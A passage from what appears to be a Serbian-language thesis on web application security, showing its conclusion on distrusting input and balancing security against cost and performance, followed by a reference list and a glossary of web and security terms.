zakonske regulative o zaštiti privatnosti korisnika.
Ovo pruža korisniku veliku fleksibilnost pri upotrebi sigurnih hostova kako na
ličnom tako i na zajedničkom računaru.
44
9. ZAKLJUČAK
Ovo je bio kratak pregled problema sa kojima se suočava svaki Web programer.
Pomenuti su samo najvažniji problemi, ali mogućnosti za greške ima mnogo. Reći da ne
treba verovati ulaznim podacima je lako, ali je daleko veći problem poštovati ovo
jednostavno pravilo u praksi.
Pri izradi Web aplikacija veoma je bitno odrediti koji je stepen bezbednosti
potreban. Potrebno je pronaći balans između parametara bezbednosti, funkcionalnosti,
cene i performansi. Povećanje sigurnosti može dovesti do smanjenja funkcionalnosti
aplikacije (npr. ograničava se broj korisnika), kao i do smanjenja performasi.
45
10. LITERATURA
1."A Guide to Building Secure Web Applications" - The Open Web Application
Security Project; Mark Curphey, David Endler, William Hau, Steve Taylor, Tim
Smith, Alex Russell, Gene McKenna, Richard Parke, Kevin McLaughlin, Nigel
Tranter, Amit Klien, Dennis Groves, Izhar By-Gad, Sverre Huseby, Martin Eizner,
Martin Eizner, and Roy McNamara; OWASP 2002.
2.Tehnički članci "CERT – Coordination Center" Carnegie Mellon Software
Engineering Institute; www.cert.org
3."Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari,
Bryan Waters, Daniel Solin, Jon Stephens, Lee Reynolds; Wrox Press 2003.
4."Criptography and Network Security: Principles and Practice"; William
Stallings; Prentice-Hall, Inc. Upper Saddle River, New Jersey 1998.
46
REČNIK
ADOdb library – database biblioteka. PHP funkcije za pristup bazama podataka nisu
standardizovane. To stvara potrebu za database bibliotekom da smanji razlike između
različitih database API-a, da bi sa lakoćom menjali baze podataka. ADOdb trenutno
podržava MySQL, Oracle, Microsoft SQL Server, Sybase, Sybase SQL Anywhere,
Informix, PostgreSQL, FrontBase, Interbase (Firebird i Borland varijante), Foxpro,
Access, ADO i ODBC.
Browser (Web browser) - uslužni program koji korisniku pruza prikazivanje, interakciju i
komunikaciju sa Web stranicom. Postoje one koje podrzavaju samo text i druge koji
podrzavaju text, grafiku i ostalo...
Cookie - 'kolačić' je jedna vrsta zapisa koji moze da ostane na računaru (u zavisnosti od
podešavanja samog browsera) i šalje se svaki put na Web Server kada browser pristupa
određenom sajtu. On moze sadržati informacije o korisniku kao sto su ime, prezime ...
Domain name - jedinstveno ime domena na Internetu. Imena domena mogu biti različita
npr. kraftweb.net
Domain name server (DNS) - server koji vrši razlučivanje logičkih imena korisnika ili
servisa na mreži u IP adrese i obrnuto.
Download - Proces kopiranja nekih podataka kao sto su slike, zvukovi, tekst i ostale
različite vrste fajlova.
E-mail - Poznata i kao elektronska pošta, slanje poruka ili fajlova od jednog Internet
korisnika do drugog (ili za više korisnika).
FAQ - Frequantly Asked Questions, najcešce pitana pitanja vezana za neku temu.
47
Firewall - je sistem dizajniran da kontroliše protok informacija između lokalnog hosta i
bilo kog udaljenog hosta na mreži. Koristi se kao sredstvo za smanjenje rizika od
neželjenog pristupa sistemu ili lokalnom računaru.
FTP - File Transfer Protocol, protokol koji se koristi za prenošenje fajlova od korisnika
do Web stranica i obrnuto. Ovim protokol kojim je moguće preuzeti sadržaj nekog
drugog sajta sa odgovarajućim korisničkim imenom i šifrom.
GET – HTTP GET metod čija je funkcija slanje podataka od HTTP klijenta do servera.
Podaci se prenose preko URL-a.
GnuPG – Gnu Privacy Guard, besplatni klon komercijalnog PGP, koji implementira
asimetričnu kriptografiju.
Hash funkcije – Hash funkcija H(x) je transformacija poruke proizvoljne dužine u hash
vrednost h = H(x) tačno definisane dužine. Ovako definisane hash funkcije mogu imati
generalnu računsku primenu, ali u svrhu kriptografije moraju ispuniti dodatne zahteve.
Hypertext - Generalno posmatrano, on sadrži sve tekstove koji u sebi sadrže linkove ka
drugim dokumentima.
Internet (Net) - Mreža svih mreža, neformalna mreža koja povezuje veliki deo svetskih
kompjuterskih mreža, veliki broj mreža međusobno povezanih komjutera telefonskim
žicama, kablovima i satelitima koji pruzaju pristup i medjusobnu razmenu informacija.
48
IP adresa - četiri broja između 0 i 255 međusobno odvojenih tačkom,služi za
identifikaciju lokacije svakog člana mreže
ISP - Internet Service Provider, Internet posrednički centar, firma koja pruža Internet
usluge, InfoSky je ISP firme Informatika
Java - Objektno orijentisan programski jezik, specijalno aplikativan za World Wide Web,
razvijen 1990 od korporacije Sun Microsystems.
Link - Odredjena deonica jedne Web strane (tekst, slika, bilo sta) koja upućuje na drugu
Web stranicu.
Mail bomb - veliki broj email-ova poslatih jednoj osobi ili sistemu sa ciljem da
prouzrokuje pad servera.
Meta karakteri - karakteri koji utiču na ponašanje naredbi programskog jezika, naredbi
operativnog sistema, pojedinačnih programskih procedura, kao na i upite baza podataka.
Meta karakteri mogu biti kodirani na način koji nije lako uočljiv, tako da je kanonizacija
podataka (pretvaranje u standardne karaktere) pre stripping-a (npr. Uklanjanje html
tagova) veoma bitna.
Port - tačka kroz koju podaci mogu ući ili napustiti mrežu.
49
POST – HTTP POST metod čija je funkcija slanje podataka od HTTP klijenta do servera.
Podaci se prenose u telu HTTP zahteva.
Referer – parametar HTTP zaglavlja, koji nosi informaciju sa kog domena se upućuje
HTTP zahtev.
Server - računar koji čuva informacije koje se dele širom mreze i odgovara na zahteve za
informacijama od strane klijenata.
SMTP - Simple Mail Transfer Protocol, protokol koji se koristi za slanje email-ova
Spam - neželjeni email koji je poslat za više korisnika odjednom, uglavnom oglasnog
tipa ili korisničke usluge. Zabranjena radnja.
Trojanski konj (Trojan horse, Trojan), naizgled bezopasan program klijent-server tipa,
napravljen da zaobidje sigurnosnu zaštitu na sistemu.
Virus - Programski kod koji ima sposobnost razmnožavanja, tako što "zakači" svoje
kopije za druge fajlove na sistemu, izazivajući štetu na njima i sistemu uopšte.
World Wide Web - WWW - Kolekcija tekstova, knjiga, slika, filmova, zvukova, na Web
stranicama povezanih preko Interneta. WWW nije Internet vec predstavlja samo njegov
deo.
50
51